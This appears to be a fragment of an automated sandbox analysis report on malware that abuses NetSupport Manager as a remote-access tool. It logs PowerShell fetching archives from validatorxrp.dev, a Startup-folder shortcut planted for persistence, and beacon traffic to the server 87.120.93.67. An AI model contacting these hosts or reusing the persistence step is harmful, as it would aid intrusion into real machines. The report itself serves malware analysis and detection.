"18b37fc7ee0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "4019263a8b010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "18b37fc7ee0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "f017263a8b010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "18b37fc7ee0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "e01b263a8b010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "18b37fc7ee0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "f010263a8b010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "18b37fc7ee0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "501c263a8b010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "18b37fc7ee0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "601f263a8b010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "18b37fc7ee0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "1017263a8b010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "18b37fc87e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "P]-:"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "18b37fc87e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "c06b2d3a8b010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "18b37fc7ee0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "805f2d3a8b010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "18b37fc7ee0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "00632d3a8b010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "18b37fc7ee0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "f05f2d3a8b010000"}30:T5cf,"powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5B18SBUM9VWE1WPZTZMP.temp" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF267e3f.TMP" "powershell.exe" touched file "C:\Windows\System32\CatRoot" "powershell.exe" touched file "C:\Windows\System32\catroot2" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\5B18SBUM9VWE1WPZTZMP.temp" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF267e3f.TMP" "powershell.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive" "7z.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\neservice.lnk" "7z.exe" touched file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\neservice.lnk"31:T553,"POST http://87.120.93.67/fakeurl.htm HTTP/1.1 User-Agent: NetSupport Manager/1.3 Content-Type: application/x-www-form-urlencoded Content-Length: 22 Host: 87.120.93.67 Connection: Keep-Alive" with payload::==> "CMD=POLLINFO=1ACK=1" HTTP/1.1 200 OK\n Server: NetSupport Gateway/1.92 (Windows NT) Content-Type: application/x-www-form-urlencoded Content-Length: 69 Connection: Keep-Alive with response body ==>434D443D454E43440A45533D310A444154413DC283672B24C2817B14C3BE205CC2810507C2AC57C2B8C28D5B52C2B7C3B13729135E5CC295016438C2923D4D60....... "POST http://87.120.93.67/fakeurl.htm HTTP/1.1 User-Agent: NetSupport Manager/1.3 Content-Type: application/x-www-form-urlencoded Content-Length: 251 Host: 87.120.93.67 Connection: Keep-Alive" with payload::==> "CMD=ENCDES=1DATA=uþ2hrï4×]§±%y-©¯ÏÜ=IÞD3¼Wié7?¿®È=@ýìÇÁFåfÕªè&tÈ[È6raþLàÅÀãÜ°úÎL7_Ê¦>k}5«I5TÜmâ<ÄªO¾µÝaÀgKW{<ÌºjÈÑi1eé¾3ðæ>ü:}Ë]-òÌÈ»ØL=n1¢tÅÜ²×óË8zÞ³¹Ä0ú=}Ld{t=}>ÎÓ½Mx²%E:9îÏX=@¾ockp=@írý¯ª¬³ßMÛ6³¡" HTTP/1.1 200 OK\n Server: NetSupport Gateway/1.92 (Windows NT) Content-Type: application/x-www-form-urlencoded Content-Length: 156 Connection: Keep-Alive with response body ==>434D443D454E43440A45533D310A444154413D75C3BE32680C72C3AF02205CC2810507C2AC57C2B868C29845C2A7C3AB3D49C2B7C292C3A1C2A13D6E7EC28EC3.......32:T13b0,Contains base64 string in header "validatorxrp" in header "GET /at.7z HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: validatorxrp.devConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /at.7z HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: validatorxrp.devConnection: Keep-Alive" Contains base64 string in header "/lnk" in header "GET /lnk.7z HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: validatorxrp.dev" Contains base64 string in header "validatorxrp" in header "GET /lnk.7z HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: validatorxrp.dev" Contains base64 string in header "validatorxrp" in header "GET /7z.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: validatorxrp.dev" Contains base64 string in header "validatorxrp" in header "GET /7z.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: validatorxrp.dev" Contains base64 string in header "POST" in header "POST http://87.120.93.67/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 87.120.93.67Connection: Keep-Alive" Contains base64 string in header "http" in header "POST http://87.120.93.67/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 87.120.93.67Connection: Keep-Alive" Contains base64 string in header "//87" in header "POST http://87.120.93.67/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 87.120.93.67Connection: Keep-Alive" Contains base64 string in header "3Content" in header "POST http://87.120.93.67/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 87.120.93.67Connection: Keep-Alive" Contains base64 string in header "Type" in header "POST http://87.120.93.67/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 87.120.93.67Connection: Keep-Alive" Contains base64 string in header "form" in header "POST http://87.120.93.67/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 87.120.93.67Connection: Keep-Alive" Contains base64 string in header "67Connection" in header "POST http://87.120.93.67/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 87.120.93.67Connection: Keep-Alive" Contains base64 string in header "Keep" in header "POST http://87.120.93.67/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 87.120.93.67Connection: Keep-Alive" Contains base64 string in header "POST" in header "POST http://87.120.93.67/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 251Host: 87.120.93.67Connection: Keep-Alive" Contains base64 string in header "http" in header "POST http://87.120.93.67/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 251Host: 87.120.93.67Connection: Keep-Alive" Contains base64 string in header "//87" in header "POST http://87.120.93.67/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 251Host: 87.120.93.67Connection: Keep-Alive" Contains base64 string in header "3Content" in header "POST http://87.120.93.67/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 251Host: 87.120.93.67Connection: Keep-Alive" Contains base64 string in header "Type" in header "POST http://87.120.93.67/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 251Host: 87.120.93.67Connection: Keep-Alive" Contains base64 string in header "form" in header "POST http://87.120.93.67/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 251Host: 87.120.93.67Connection: Keep-Alive" Contains base64 string in header "67Connection" in header "POST http://87.120.93.67/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 251Host: 87.120.93.67Connection: Keep-Alive" Contains base64 string in header "Keep" in header "POST http://87.120.93.67/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 251Host: 87.120.93.67Connection: Keep-Alive"33:Te54,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATIONTYPE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "SERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "DLLPATH"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "THREADING"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "TRUSTLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "REMOTESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATEASUSER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATEINSHAREDBROKER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "PERMISSIONS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "EXEPATH"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "COMMANDLINE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "IDENTITYTYPE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "PERMISSIONS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "ACTIVATABLECLASSES"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "SERVERTYPE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "APPID"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "IDENTITY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "SERVICENAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "EXPLICITPSMACTIVATIONTYPE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{8645456F-D9A2-4B82-AFEC-58F0E8DF0ACF}\PROXYSTUBCLSID32"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{C53E07EC-25F3-4093-AA39-FC67EA22E99D}"; Key: ""; Value: "")34:T99a,"powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\DESKTOP.INI" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5B18SBUM9VWE1WPZTZMP.TEMP" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5B18SBUM9VWE1WPZTZMP.temp" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML"35:Tf42,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002888.00000001.165813.009B2000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "EnumProcessModules" (Indicator: "EnumProcessModules"; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetCurrentProcessorNumberEx" (Indicator: "GetCurrentProcess"; Source: "00000000-00002888.00000001.165813.72691000.00000020.mdmp") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; Source: "00000000-00002888.00000001.165813.72691000.00000020.mdmp") Found reference to API "EnumProcesses" (Indicator: "EnumProcesses"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "WTSEnumerateProcessesA" (Indicator: "WTSEnumerateProcesses"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "EnumProcessesInSessionsWithClients took %d ms" (Indicator: "EnumProcesses"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "CreateToolhelp32Snapshot failed (%d)" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "Process32Next" (Indicator: "Process32Next"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "Process32First" (Indicator: "Process32First"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp")36:T562,Pattern match: "validatorxrp.dev/$feer" Pattern match: "uvf.uof/u_3g@@fa@@;j\zf;?urf\tfuu0fnu" Pattern match: "http://schemas.microsoft.com/smi/2005/windowssettings" Pattern match: "http://ocsp.thawte.com080604.http://crl.thawte.com/thawtetimestampingca.crl0timestamp-2048-10y@b%symantec" Pattern match: "spj-spj.spj/spj0spjdspjespjfspjgspjhspjispjjspjkspjlspjmspjnspjosjpj8spj9spj:spj;spj" Pattern match: "http://87.120.93.67/fakeurl.htm" Heuristic match: "jakkakaskakasj.com" Heuristic match: "jasjdpoekkqwda.com" Heuristic match: "asjdpoekkqwda.com" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Heuristic match: "wx]cjasjdpoekkqwda.com" Pattern match: "www.pci.co.uk/support|http://www.pci.co.uk/support" Heuristic match: "support@pci.co.uk|mailto:support@pci.co.uk" Pattern match: "http://www.netsupportschool.com/tutor-assistant.asp" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "http://%s/fakeurl.htm" Pattern match: "http://%s/testpage.htm" Heuristic match: "invp.tv" Pattern match: "www.netsuppport247.com" Pattern match: "http://geo.netsupportsoftware.com/location/loca.asp" Pattern match: "http://127.0.0.1" Pattern match: "http://%s/" Pattern match: "http://localhost/" Heuristic match: "command.com" Heuristic match: "edit.com" Heuristic match: "yyytx\.ag" Pattern match: "xt.zu/[v2^z"37:T1a80,"\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00002888.00000000.163893.02DB0000.00000004.mdmp "Software\Productive Computer Insight" in Source: 00000000-00002888.00000000.163893.111D5000.00000004.mdmp "Software\NetSupport Ltd" in Source: 00000000-00002888.00000000.163893.111D5000.00000004.mdmp "System\CurrentControlSet\Services\Winsock\Autodial" in Source: 00000000-00002888.00000000.163893.111D5000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00002888.00000001.165813.02DB0000.00000004.mdmp "Software\Productive Computer Insight" in Source: 00000000-00002888.00000001.165813.111D5000.00000004.mdmp "Software\NetSupport Ltd" in Source: 00000000-00002888.00000001.165813.111D5000.00000004.mdmp "System\CurrentControlSet\Services\Winsock\Autodial" in Source: 00000000-00002888.00000001.165813.111D5000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00002888.00000002.167735.02DB0000.00000004.mdmp "SYSTEM\CurrentControlSet\Services\nsafltr\Parameters" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "System\CurrentControlSet\Services\Gdihook5" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\NetSupport Ltd\Client32" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\NSL\Saved\DS" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SYSTEM\CurrentControlSet\Hardware Profiles\Current\System\CurrentControlSet\Enum" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Policies\NetSupport\Client\standard" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Classes\ActivatableClasses\Package" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Productive Computer Insight\Client32" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Productive Computer Insight\Client32\AutoReconnect" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Winlogon" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "\Registry\Machine\SOFTWARE\Classes\NPPr675hg" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Classes\VirtualStore\MACHINE\%s\%s\ConfigList" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Policies\NetSupport" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Policies\NetSupport\Client\Standard" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Policies\NetSupport\Client" in Source: 